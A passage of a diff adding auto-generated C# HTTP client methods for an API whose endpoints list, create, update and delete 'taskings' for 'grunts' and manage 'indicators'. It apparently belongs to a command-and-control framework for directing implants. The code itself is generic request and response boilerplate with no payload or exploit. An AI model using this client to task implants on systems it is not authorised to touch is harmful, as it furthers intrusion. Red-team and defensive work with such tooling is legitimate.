_httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntTasksByTasknameGetWithHttpMessagesAsync(string taskname, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (taskname == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "taskname"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("taskname", taskname); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntTasksByTasknameGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/GruntTasks/{taskname}").ToString(); + _url = _url.Replace("{taskname}", System.Uri.EscapeDataString(taskname)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiGruntsByIdTaskingsGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsByIdTaskingsGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/grunts/{id}/taskings").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntsByIdTaskingsPostWithHttpMessagesAsync(int id, GruntTasking gruntTasking = default(GruntTasking), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("gruntTasking", gruntTasking); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsByIdTaskingsPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/grunts/{id}/taskings").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(gruntTasking != null) + { + _requestContent = SafeJsonConvert.SerializeObject(gruntTasking, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntsByIdTaskingsByTasknameGetWithHttpMessagesAsync(int id, string taskname, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (taskname == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "taskname"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("taskname", taskname); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsByIdTaskingsByTasknameGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/grunts/{id}/taskings/{taskname}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + _url = _url.Replace("{taskname}", System.Uri.EscapeDataString(taskname)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiGruntsByIdTaskingsByTasknamePutWithHttpMessagesAsync(int id, string taskname, GruntTasking gruntTasking = default(GruntTasking), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (taskname == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "taskname"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("taskname", taskname); + tracingParameters.Add("gruntTasking", gruntTasking); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsByIdTaskingsByTasknamePut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/grunts/{id}/taskings/{taskname}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + _url = _url.Replace("{taskname}", System.Uri.EscapeDataString(taskname)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(gruntTasking != null) + { + _requestContent = SafeJsonConvert.SerializeObject(gruntTasking, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiGruntsByIdTaskingsByTasknameDeleteWithHttpMessagesAsync(int id, string taskname, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (taskname == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "taskname"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("taskname", taskname); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsByIdTaskingsByTasknameDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/grunts/{id}/taskings/{taskname}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + _url = _url.Replace("{taskname}", System.Uri.EscapeDataString(taskname)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiIndicatorsResultsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsResultsGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/results").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiIndicatorsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiIndicatorsPutWithHttpMessagesAsync(Indicator indicator = default(Indicator), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool 